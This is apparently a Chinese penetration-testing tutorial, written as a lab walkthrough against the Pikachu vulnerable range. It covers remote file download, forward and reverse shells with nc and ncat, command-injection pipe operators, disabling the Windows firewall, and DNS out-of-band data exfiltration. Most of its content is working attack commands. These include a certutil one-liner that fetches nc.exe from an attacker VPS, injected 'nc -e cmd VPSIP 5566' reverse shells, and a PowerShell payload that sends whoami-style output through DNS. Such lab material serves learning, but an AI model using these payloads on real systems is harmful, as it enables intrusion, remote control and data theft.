免责声明
本免责声明适用于作者所有文章内容。使用者需明确,网络安全技术仅供学习和合法研究使用,不得用于任何非法活动,如未经授权的入侵、攻击或数据窃取,所有相关法律责任由使用者自行承担。由于网络安全操作可能带来系统崩溃、数据丢失等风险,使用者应对其操作后果有充分认知,并自行承担任何损失或不良后果。作者和提供者不对因使用这些技术引发的任何损害或法律责任负责,所有资源仅供学习参考,不建议用于生产环境。同时,所有内容遵循公开共享原则,使用者在引用或传播时应遵守相关规定并承担责任。
远程文件下载
我们现在宝塔上安装linux环境并在127.0.0.1中加入自己的公网ip,
找到nc的官网,将netcat 1.11 for Win32/Win64下载到我们的网站目录下。
尝试访问自己的公网IP+文件名。
能够进行下载说明可以进行远程文件下载了。
打开[~]#棱角 ::Edge.Forum* -----》文件下载工具
根据自己的vpsIP、端口和文件名进行填写
可以使用命令进行一键远程下载
#实用案例1:文件上传下载-解决无图形化&解决数据传输
命令生成:https://forum.ywhack.com/bountytips.php?download
Linux:wget curl python ruby perl java等
Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等
直接将上面的命令执行即可。
反弹shell
要控制内网的某一台机器的权限
(1)内网机器把自己的命令行给到外网服务器的某个端口,外网服务器进行监听(唯一方法)
(2)如果内网把命令行权限给到本地某个端口,那外网服务器如果要获得权限,那么必须在路由器上做端口转发,也就是端口映射
连接实验
外网机器控制内网机器
只能主动给出去权限,这里不做演示了
内网机器:nc -e cmd vpsIP 5566
外网机器:ncat -lvp 5566
这样就可以让外网机器控制内网机器了。
内网机器控制外网机器
这个只需要外网机器把权限给到本地的5566,然后内网机器去连接
内网机器:nc vpsIP 5566
外网机器:ncat -e /bin/bash -lvp 5566
正向连接(Forward Connection)
通常指的是客户端主动向服务器发起连接的行为。这种连接模式是网络通信中的常见模式,客户端会通过发送请求来与服务器建立通信会话,服务器接收请求并返回响应。
简而言之,自己出去找(自己去连接外面的)。
正向实验
#实用案例2:反弹Shell命令-解决数据回显&解决数据通讯
命令生成:https://forum.ywhack.com/shell.php
netsh advfirewall firewall add rule name="Open Port 5566" protocol=TCP dir=in localport=5566 action=allow
# window上打开本地5566端口
netsh advfirewall set allprofiles state off
# window上开启所有端口,直接关闭防火墙,允许所有入站流量
1、正向连接:本地监听等待对方连接
Linux控制Windows
window输入:
//绑定CMD到本地5566端口
nc -e cmd -lvp 5566
linux输入:
//主动连接目标5566
ncat vpsIP 5566
Windows控制Linux
linux输入:
//绑定SH到本地5566端口
ncat -e /bin/sh -lvp 5566
window输入:
//主动连接目标5566
nc vpsIP 5566
如图我们正向连接成功了,从上描述来看正向连接就是将自己的cmd或者/bin/sh放在本地某个端口,等待别人去连接自己。
反向连接
反向连接(Reverse Connection),则是由服务端主动向客户端发起连接。这通常用于绕过防火墙或其他网络防护措施,尤其在内网渗透、远程访问或控制的场景中非常常见。
简而言之,别人把权限给进来。
反向连接实验
类似于这样将自己的命令行权限给到另一台机器的5566端口,另一台机器只需要在5566端口监听即可获取权限。
window管道符号 :
例子:
| & || &&
作用和linux一样
linux管道符号 :
; | || & && ``(特有``和;)
例子:
ping -c 1 127.0.0.1 ; whoami
# 都执行
ping -c 1 127.0.0.1 | whoami
# 执行后面一条(管道符)
ping -c 1 127.0.0.1 || whoami
# 执行前一条(逻辑或)
ping -c 1 127.0.0.1 & whoami
# 都执行(分割)
ping -c 1 127.0.0.1 && whoami
# 都执行(逻辑与)
ping -c 1 127.0.0.1 `whoami`
# 输出root(执行转译)
皮卡丘靶场搭建
本地搭建
在自己的vps上进行搭建
皮卡丘网址:
https://github.com/zhuifengshaonianhanlu/pikachu
安装phpstudy。
将pikachu文件夹放到WWW目录下
把pikachu里面的inc文件夹下的config.inc中加入数据库密码root
然后直接本地打开,按照红色字样进行pkxss数据库安装,因为我这里已经安装过了所以没有红色字样,也可以访问/pikachu/install.php进行安装
pikachu外网发布
方法一:内网穿透
cpolar官网-安全的内网穿透工具 | 无需公网ip | 远程访问 | 搭建网站
使用cpolar进行内网穿透,安装成功后访问本地127.0.0.1:9200端口注册账号登陆
登陆之后我们创建一条隧道将本地的80端口服务发布到公网即可
方法二:宝塔搭建(建议使用)
安装好宝塔,登陆进去安装好apache和mysql环境
第一步关闭防火墙。
等待apache和mysql都安装完成后直接添加站点,域名什么的自己配置。(值得注意的是宝塔搭建需要在宝塔面板自己创建一个数据库,因为pikachu是敏感名字需要自己改一改然后配置文件的名字也需要自行修改)
找到宝塔面板的php.ini删除所有禁止函数,这个是宝塔自带了很多禁止函数这里我一开始忘记截图了已经删了很多了就随便加上去一个做个演示,用phpstudy搭建就没有,因为宝塔里面的php环境是经过设置了。
设置成如上图
找到php版本切换到另一个版本再切换到刚刚进行修改的版本即可。
访问网站
成功执行。 我们这里显示不出来是因为编码的问题。浏览器编码和php脚本编码存在默认冲突。
在rce_ping.php文件中加入一行配置
再次尝试输入
成功输出。 打开本地安全策略,我们把宝塔ip安全策略也关了
全部取消掉点确定
pikachu打靶场拿shell
我们现在就让靶场主动把权限给到我们的vps,我们之前有在我们攻击机上配置网站存放我们的远程下载脚本,这个简单不多说了。
输入我们的信息选取命令
127.0.0.1 | certutil.exe -urlcache -split -f http://vps:80/nc.exe c:\\nc.exe
注意:我们这里的nc没有做免杀所以我们要把靶场的和远程下载机器的防火墙关了
上传成功
接下来我们做反弹
正向:
127.0.0.1 | c:\\nc.exe -e cmd -lvvp 5566
# 将服务器的cmd反弹到本地的5566端口
ncat vpsIP 5566
# 使用linux的ncat监听服务器的5566端口
# 连接成功,尝试ipconfig可以执行
反向:
127.0.0.1 | c:\\nc.exe -e cmd VPSIP 5566
# 把权限给到远程攻击机
ncat -lvvp 5566
# 攻击机监听本地的5566端口
成功拿下权限。
在开启防火墙的情况下拿下pikachu
先打开防火墙
添加规则限制5566端口传输
之前那个正向连接的方法就失效了,因为入站规则5566被禁止了。
我们现在可以用把权限给出去的出站方法现在。
反向:
127.0.0.1 | c:\\nc.exe -e cmd VPSIP 5566
# 把权限给到远程攻击机
ncat -lvvp 5566
# 攻击机监听本地的5566端口
我们现在把限制入站的规则删除,加个限制出站的5566
可想而之反向操作不行了,而且我们的防火墙开放了那入站也不行了,只能进入开通了入站策略的端口,防火墙默认开启后入站检测会更加严格,出站会更加宽松。所以这个时候我们需要自己开启一个正向的5566端口才能进行通讯,我们再去入站添加5566端口通讯就可以正向连接了。然后我们把刚刚设置的先删除了,现在应该理解了防火墙的入站和出站规则了。
数据回显
把这一行注释掉
命令执行之后发现没有回显了
解决方法:
方法一: 反弹shell
直接尝试反弹shell,能够反弹成功那肯定有回显了。
方法二:外带查询
选用一个dns平台进行外带查询,linux下可以使用`whoami`执行命令外带进入之后刚好是可行的。
本来想用DNSLog Platform但是进不去。所以换了个dns平台使用
因为我们的靶机服务器是window的,cmd不支持``也不支持whoami但是powershow支持
而且powershell支持变量赋值
设置变量x为whoami,变量y为dnslog外带地址
再定义一个z变量
会发现还是找不到主机
因为地址里面有一个斜杠被当作转义符了。
这个时候怎么解决呢?我们用替换法
然后重新定义$z
显而易见,这四个x就是\
再次ping $z看到我们ping通主机了。
那这种情况我们在靶场中怎么使用呢?
127.0.0.1 | powershell $x=ver;$x=$x.Replace('\','xxx');$y='.68ab23bf.log.dnslog.sbs.';$z=$x+$y;ping $z;
# 这里我实验没出来不知道为什么,在命令行上面实验出来了